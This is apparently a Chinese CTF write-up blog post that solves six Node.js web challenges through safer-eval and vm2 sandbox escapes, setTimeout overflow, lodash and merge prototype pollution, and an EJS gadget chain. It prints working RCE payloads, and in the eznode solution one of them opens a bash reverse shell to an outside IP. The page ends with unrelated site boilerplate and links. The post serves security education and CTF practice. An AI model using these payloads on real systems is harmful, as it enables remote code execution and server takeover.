【Web】NodeJs相关例题wp

目录

①[GKCTF 2020]ez三剑客-easynode

②[MoeCTF 2021]fake game

③[安洵杯 2020]Validator 

④ [HZNUCTF 2023 final]eznode

⑤[CNSS] 🏭 EzPollution_pre

⑥[CNSS]✴️ EzPollution


①[GKCTF 2020]ez三剑客-easynode

const express = require('express');
const bodyParser = require('body-parser');const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库const fs = require('fs');const app = express();app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {if (req.path === '/eval') {let delay = 60 * 1000;console.log(delay);if (Number.isInteger(parseInt(req.query.delay))) {delay = Math.max(delay, parseInt(req.query.delay));}const t = setTimeout(() => next(), delay);// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事setTimeout(() => {clearTimeout(t);console.log('timeout');try {res.send('Timeout!');} catch (e) {}}, 1000);} else {next();}
});app.post('/eval', function (req, res) {let response = '';if (req.body.e) {try {response = saferEval(req.body.e);} catch (e) {response = 'Wrong Wrong Wrong!!!!';}}res.send(String(response));
});// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync('./index.js'));
});// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {res.set('Content-Type', 'text/json;charset=utf-8');res.send(fs.readFileSync('./package.json'));
});app.get('/', function (req, res) {res.set('Content-Type', 'text/html;charset=utf-8');res.send(fs.readFileSync('./index.html'))
})app.listen(80, '0.0.0.0', () => {console.log('Start listening')
});

这里的意思就是。我们传入一个delay和原先定义的60000进行比较。大的值复制给delay

然后作为timeout的值传入

显然。默认定义超时6秒。进入下个路由。

但是我们的代码不能超时6秒。也就不能进去下个路由执行沙盒逃逸了

那么问题就出在这个settimeout函数上。

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647ms。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由

这样就实现了既比60000大,又小于1000

还是问下大模型这段代码的解读()

这段代码是JavaScript中的一个典型用法,使用了 setTimeout 和 clearTimeout 函数,并尝试发送一个响应。让我逐步为你解释:1. setTimeout(() => {...}, 1000);这行代码创建了一个定时器,它会在1000毫秒(也就是1秒)后执行大括号 {} 内的函数。在这个例子中,这个函数是:javascript() => {  clearTimeout(t);  console.log('timeout');  try {  res.send('Timeout!');  } catch (e) {  }  }2. clearTimeout(t);这行代码试图清除一个名为 t 的定时器。如果这个定时器存在,那么它将被取消,且不会执行定时器内的代码。如果这个定时器不存在,那么这行代码不会有任何效果。
3. console.log('timeout');这行代码会在控制台打印出 "timeout"。
4. try { res.send('Timeout!'); } catch (e) { }这段代码尝试发送一个响应(在这个例子中,是一个名为 'Timeout!' 的字符串)。如果发送响应的操作成功,那么它不会做任何其他事情。如果发送响应的操作失败(例如,由于网络问题或服务器错误),那么会捕获异常并阻止它们传播。这个 catch 块不会打印任何消息,所以如果你想看到错误消息,你可能需要把 catch 块改成 catch (e) { console.log(e); }。需要注意的是,这个代码是在Node.js环境下运行的,因为它使用了 res.send 方法来发送响应。在浏览器JavaScript中,通常不会使用这种方法,而是使用 fetch 或其他 AJAX 方法来发送请求并处理响应。

随便传一个1,回显符合代码

这里给到safer-eval的版本号

github搜索一下相关issue

最终payload:

/eval?delay=2147483648
e=(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

②[MoeCTF 2021]fake game

进来先随便输数据看回显

 merge?触发关键词,想到原型链污染

看一眼源码

哦?有__proto__内味了 

抓包看看

好的直接构造payload

{"attributes": {"health": 0, "attack": 0, "armor": 0, "__proto__": {"health": 999999999, "attack": 999999999, "armor":  999999999}}}

③[安洵杯 2020]Validator 

先dirsearch扫一下目录

访问/package.json

给到版本号,敏感的weber已经有想法了( 

根据读到的package包引用,发现lodash版本为4.17.16。lodash<4.17.17是有原型链污染漏洞的 

​​​​​​​详见

{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}

访问/app.js

贴出源码

const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')const app = express()
const port = 9000app.use(express.json())
app.use(express.urlencoded({extended: true
}))let info = []const {body,validationResult
} = require('express-validator')middlewares = [body('*').trim(),body('password').isLength({ min: 6 }),
]app.use(middlewares)readFile = function (filename) {var data = fs.readFileSync(filename)return data.toString()
}app.post("/login", (req, res) => {console.log(req.body)const errors = validationResult(req);if (!errors.isEmpty()) {return res.status(400).json({ errors: errors.array() });}if (req.body.password == "D0g3_Yes!!!"){console.log(info.system_open)if (info.system_open == "yes"){const flag = readFile("/flag")return res.status(200).send(flag)}else{return res.status(400).send("The login is successful, but the system is under test and not open...")}}else{return res.status(400).send("Login Fail, Password Wrong!")}
})app.get("/", (req, res) => {const login_html = readFile(path.join(__dirname, "login.html"))return res.status(200).send(login_html)
})app.use(express_static("./"))app.listen(port, () => {console.log(`server listening on ${port}`)
})

 简单审一下,污染system_open为yes就可以拿flag

表单提交个D0g3_Yes!!!回显如下,符合上述代码

改个payload直接打

{"password":"D0g3_Yes!!!","a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

④ [HZNUCTF 2023 final]eznode

访问/app.js

const express = require('express');
const app = express();
const { VM } = require('vm2');app.use(express.json());const backdoor = function () {try {new VM().run({}.shellcode);} catch (e) {console.log(e);}
}const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}app.get('/', function (req, res) {res.send("POST some json shit to /.  no source code and try to find source code");
});app.post('/', function (req, res) {try {console.log(req.body)var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.shit) {backdoor()}res.send("post shit ok")}catch(e){res.send("is it shit ?")console.log(e)}
})app.listen(3000, function () {console.log('start listening on port 3000');
});

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

 改下payload:

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"').toString();"}} 

⑤[CNSS] 🏭 EzPollution_pre

login.js

var express = require('express')
var router = express.Router()
var utils = require('../utils/common')function waf(value) {const blacklistRegex = /(exec|load)/iif (blacklistRegex.test(value)) {return false}return true
}/* GET home page.  */
router.post('/', require('body-parser').json(), function (req, res, next) {res.type('html')var secert = {}var sess = req.sessionlet user = {}utils.copy(user, req.body)if (secert.psych === 'p5ych') {if (waf(secert.eva1)) {res.send(seval(secert.eva1))} else {res.send('hehe,,')}} else {return res.json({ret_code: 2,ret_msg: '登录失败' + JSON.stringify(user),})}
})module.exports = router

copy函数可以原型链污染 

common.js

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}

 payload:

{"__proto__":{"psych":"p5ych","eval":"res.json({ret_flag:require('child_process')['exe'+'cSync']('whoami').toString(),ret_code:0})"}
}

⑥[CNSS]✴️ EzPollution

给到源码

var express = require('express');var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: false }));app.all("/", function (req, res) {res.render(`${__dirname}/views/index.ejs`, { title: 'CNSS Login' });
})app.all("/login", function (req, res) {let user = merge({}, req.query)if (user.username === "admin" && user.password === "admin") {res.send({msg: "Login success!"})}else{res.send({msg: "Login failed!"})}
})app.use(function (req, res, next) {res.status(404).send({msg: "Not found!"})
})app.use(function (err, req, res, next) {console.error(err.stack)res.status(500).send({msg: "Internal server error!"})
})function merge(target) {for (var i = 1; i < arguments.length; i++) {var source = arguments[i]for (var key in source) {if (key === '__proto__') {return;}if (hasOwnProperty.call(source, key)) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}}}return target
}var server = app.listen(5000, function () {var host = server.address().addressvar port = server.address().portconsole.log("http://%s:%s", host, port)
});

因为禁了__proto__

用{"constructor": {"prototype": {"role": "admin"}}}一样可以污染原型链 

注意这里/login用的get方法传参

a[b][c]=111

相当于{a:{b:{c:'111'}}}

参考题目的hint:https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce

发现ejs有个注入点

{"__proto__": {"client": 1,"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"}
}

构造

constructor[prototype][client]=true&constructor[prototype][escapeFunction]=1; return global.process.mainModule.constructor._load('child_process').execSync('whoami')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/209235.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

009 OpenCV threshold

一、环境 本文使用环境为&#xff1a; Windows10Python 3.9.17opencv-python 4.8.0.74 二、二值化算法 2.1、概述 在机器视觉应用中&#xff0c;OpenCV的二值化函数threshold具有不可忽视的作用。主要的功能是将一幅灰度图进行二值化处理&#xff0c;以此大幅降低图像的数…

使用 PowerShell 创建共享目录

在 Windows 中&#xff0c;可以使用共享目录来将文件和文件夹共享给其他用户或计算机。共享目录可以通过网络访问&#xff0c;这使得它们非常适合用于文件共享、协作和远程访问。 要使用 PowerShell 创建共享目录&#xff0c;可以使用 New-SmbShare cmdlet。New-SmbShare cmdl…

规则引擎Drools使用,0基础入门规则引擎Drools(一)基础入门

文章目录 系列文章索引一、规则引擎概述1、引出问题2、什么是规则引擎3、使用规则引擎的优势4、规则引擎应用场景 二、Drools介绍1、Drools概述2、Drools构成3、相关概念说明4、Drools执行过程5、KIE介绍 三、Drools入门案例1、业务场景说明2、开发实现 四、Drools基础语法1、规…

ios打包,证书获取

HBuilderX 打包ios界面&#xff1a; Bundle ID(AppID)&#xff1a; 又称应用ID&#xff0c;是每一个ios应用的唯一标识&#xff0c;就像一个人的身份证号码&#xff1b; 每开发一个新应用&#xff0c;首先都需要先去创建一个Bundle ID Bundle ID 格式&#xff1a; 一般为&…

vue el-table (固定列+滚动列)【横向滚动条】确定滚动条是在列头还是列尾

效果图&#xff1a; 代码实现&#xff1a; html&#xff1a; <script src"//unpkg.com/vue2/dist/vue.js"></script> <script src"//unpkg.com/element-ui2.15.14/lib/index.js"></script> <div id"app" style&quo…

ubuntu上编译proj-7.1.0出现tiffio.h找不到的错误

作者&#xff1a;朱金灿 来源&#xff1a;clever101的专栏 为什么大多数人学不会人工智能编程&#xff1f;>>> 在编译ubuntu上编译proj-7.1.0出现下面错误&#xff1a; grids.cpp:41:10: fatal error: tiffio.h: No such file or directory41 | #include "tif…

还不知道指针和引用的区别,一篇文章教会你

1、引用的概念 1.引用不是新定义一个变量&#xff0c;而是给已存在变量取了一个别名 2.编译器不会为引用变量开辟内存空间&#xff0c;它和它引用的变量共用同一块内存空间 比如:孙悟空&#xff0c;可以叫他孙悟空&#xff0c;也可以叫齐天大圣。本质他们就是一个人 2、引用的定…

逸学java【初级菜鸟篇】9.3 Stream流

hi&#xff0c;我是逸尘&#xff0c;一起学java吧 得益于Lambda所带来的函数式编程&#xff0c;引入了一个全新的Stream流概念&#xff08;就是都基本使用lambda的形式&#xff09;。 流处理 我们首先理解什么是流处理&#xff0c;它类似于sql语句&#xff0c;可以执行非常复…

【nlp】2.8 注意力机制拓展

注意力机制拓展 1 注意力机制原理1.1 注意力机制示意图1.2 Attention计算过程1.3 Attention计算逻辑1.4 有无attention模型对比1.4.1 无attention机制的模型1.4.2 有attention机制的模型1 注意力机制原理 1.1 注意力机制示意图 Attention机制的工作原理并不复杂,我们可以用下…

Jmeter 压测实战保姆级入门教程

1、Jmeter本地安装 1.1、下载安装 软件下载地址&#xff1a; https://mirrors.tuna.tsinghua.edu.cn/apache/jmeter/binaries/ 选择一个压缩包下载即可 然后解压缩后进入bin目录直接执行命令jmeter即可启动 1.2 修改语言 默认是英文的&#xff0c;修改中文&#xff0c;点击…

用于 syslog 收集的协议:TCP、UDP、RELP

系统日志是从 Linux/Unix 设备和其他网络设备&#xff08;如交换机、路由器和防火墙&#xff09;生成的日志 可以通过将 syslog 聚合到称为 syslog 服务器、syslog 守护程序或 syslogd 的服务器来集中 syslog。在TCP、UDP和RELP协议的帮助下&#xff0c;系统日志从设备传输到系…

教你如何将Web项目部署到Linux中

文章目录 前言0. 什么是部署1. 调整代码达成一致2. 数据库建表3. 构建项目并打包4. 拷贝到 Tomcat 中5. 效果总结 前言 在我们完成了一个Web项目后, 我们该怎样将项目部署到 Linux 系统中呢? 本文就来简单讲解一下. 文章已部署本人的博客系统代码展开讲解. 关注收藏, 开始学…